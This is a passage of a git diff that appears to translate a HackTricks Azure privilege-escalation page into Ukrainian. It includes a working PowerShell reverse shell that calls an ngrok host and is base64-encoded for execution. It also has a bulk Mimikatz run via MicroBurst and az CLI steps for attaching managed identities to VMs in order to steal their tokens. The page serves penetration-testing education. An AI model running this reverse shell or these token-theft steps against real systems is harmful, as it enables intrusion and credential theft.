echo -n '$client = New-Object System.Net.Sockets.TCPClient("7.tcp.eu.ngrok.io",19159);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' | iconv --to-code UTF-16LE | base64
|
||||
@@ -314,62 +293,57 @@ echo "powershell.exe -EncodedCommand $encodedCommand" > revshell.ps1
|
||||
Import-module MicroBurst.psm1
|
||||
Invoke-AzureRmVMBulkCMD -Script Mimikatz.ps1 -Verbose -output Output.txt
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### `Microsoft.Compute/virtualMachines/login/action`
|
||||
|
||||
This permission allows a user to **login as user into a VM via SSH or RDP** (as long as Entra ID authentication is enabled in the VM).
|
||||
Ця дозволяє користувачу **увійти як користувач у VM через SSH або RDP** (за умови, що автентифікація Entra ID увімкнена у VM).
|
||||
|
||||
Login via **SSH** with **`az ssh vm --name <vm-name> --resource-group <rsc-group>`** and via **RDP** with your **regular Azure credentials**.
|
||||
Увійдіть через **SSH** за допомогою **`az ssh vm --name <vm-name> --resource-group <rsc-group>`** та через **RDP** з вашими **звичайними обліковими даними Azure**.
|
||||
|
||||
### `Microsoft.Compute/virtualMachines/loginAsAdmin/action`
|
||||
|
||||
This permission allows a user to **login as user into a VM via SSH or RDP** (as long as Entra ID authentication is enabled in the VM).
|
||||
Ця дозволяє користувачу **увійти як користувач у VM через SSH або RDP** (за умови, що автентифікація Entra ID увімкнена у VM).
|
||||
|
||||
Login via **SSH** with **`az ssh vm --name <vm-name> --resource-group <rsc-group>`** and via **RDP** with your **regular Azure credentials**.
|
||||
Увійдіть через **SSH** за допомогою **`az ssh vm --name <vm-name> --resource-group <rsc-group>`** та через **RDP** з вашими **звичайними обліковими даними Azure**.
|
||||
|
||||
## `Microsoft.Resources/deployments/write`, `Microsoft.Network/virtualNetworks/write`, `Microsoft.Network/networkSecurityGroups/write`, `Microsoft.Network/networkSecurityGroups/join/action`, `Microsoft.Network/publicIPAddresses/write`, `Microsoft.Network/publicIPAddresses/join/action`, `Microsoft.Network/networkInterfaces/write`, `Microsoft.Compute/virtualMachines/write, Microsoft.Network/virtualNetworks/subnets/join/action`, `Microsoft.Network/networkInterfaces/join/action`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
|
||||
|
||||
All those are the necessary permissions to **create a VM with a specific managed identity** and leaving a **port open** (22 in this case). This allows a user to create a VM and connect to it and **steal managed identity tokens** to escalate privileges to it.
|
||||
|
||||
Depending on the situation more or less permissions might be needed to abuse this technique.
|
||||
Усі ці дозволи необхідні для **створення VM з конкретною керованою ідентичністю** та залишення **порту відкритим** (22 у цьому випадку). Це дозволяє користувачу створити VM і підключитися до нього, а також **викрасти токени керованої ідентичності** для ескалації привілеїв до неї.
|
||||
|
||||
Залежно від ситуації може знадобитися більше або менше дозволів для зловживання цією технікою.
|
||||
```bash
|
||||
az vm create \
|
||||
--resource-group Resource_Group_1 \
|
||||
--name cli_vm \
|
||||
--image Ubuntu2204 \
|
||||
--admin-username azureuser \
|
||||
--generate-ssh-keys \
|
||||
--assign-identity /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourcegroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/TestManagedIdentity \
|
||||
--nsg-rule ssh \
|
||||
--location "centralus"
|
||||
--resource-group Resource_Group_1 \
|
||||
--name cli_vm \
|
||||
--image Ubuntu2204 \
|
||||
--admin-username azureuser \
|
||||
--generate-ssh-keys \
|
||||
--assign-identity /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourcegroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/TestManagedIdentity \
|
||||
--nsg-rule ssh \
|
||||
--location "centralus"
|
||||
# By default pub key from ~/.ssh is used (if none, it's generated there)
|
||||
```
|
||||
|
||||
### `Microsoft.Compute/virtualMachines/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
|
||||
|
||||
Those permissions are enough to **assign new managed identities to a VM**. Note that a VM can have several managed identities. It can have the **system assigned one**, and **many user managed identities**.\
|
||||
Then, from the metadata service it's possible to generate tokens for each one.
|
||||
|
||||
Ці дозволи достатні для **призначення нових керованих ідентичностей віртуальній машині**. Зверніть увагу, що віртуальна машина може мати кілька керованих ідентичностей. Вона може мати **системну призначену** ідентичність та **багато користувацьких керованих ідентичностей**.\
|
||||
Потім, з сервісу метаданих можна згенерувати токени для кожної з них.
|
||||
```bash
|
||||
# Get currently assigned managed identities to the VM
|
||||
az vm identity show \
|
||||
--resource-group <rsc-group> \
|
||||
--name <vm-name>
|
||||
--resource-group <rsc-group> \
|
||||
--name <vm-name>
|
||||
|
||||
# Assign several managed identities to a VM
|
||||
az vm identity assign \
|
||||
--resource-group <rsc-group> \
|
||||
--name <vm-name> \
|
||||
--identities \
|
||||
/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/TestManagedIdentity1 \
|
||||
/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/TestManagedIdentity2
|
||||
--resource-group <rsc-group> \
|
||||
--name <vm-name> \
|
||||
--identities \
|
||||
/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/TestManagedIdentity1 \
|
||||
/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/TestManagedIdentity2
|
||||
```
|
||||
|
||||
Then the attacker needs to have **compromised somehow the VM** to steal tokens from the assigned managed identities. Check **more info in**:
|
||||
Тоді атакуючий повинен **якось скомпрометувати ВМ**, щоб вкрасти токени з призначених керованих ідентичностей. Перевірте **додаткову інформацію в**:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf#azure-vm
|
||||
@@ -377,10 +351,6 @@ https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/clou
|
||||
|
||||
### TODO: Microsoft.Compute/virtualMachines/WACloginAsAdmin/action
|
||||
|
||||
According to the [**docs**](https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/compute#microsoftcompute), this permission lets you manage the OS of your resource via Windows Admin Center as an administrator. So it looks like this gives access to the WAC to control the VMs...
|
||||
Згідно з [**документацією**](https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/compute#microsoftcompute), це дозволення дозволяє вам керувати ОС вашого ресурсу через Windows Admin Center як адміністратор. Отже, здається, що це надає доступ до WAC для контролю ВМ...
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
Reference in New Issue
Block a user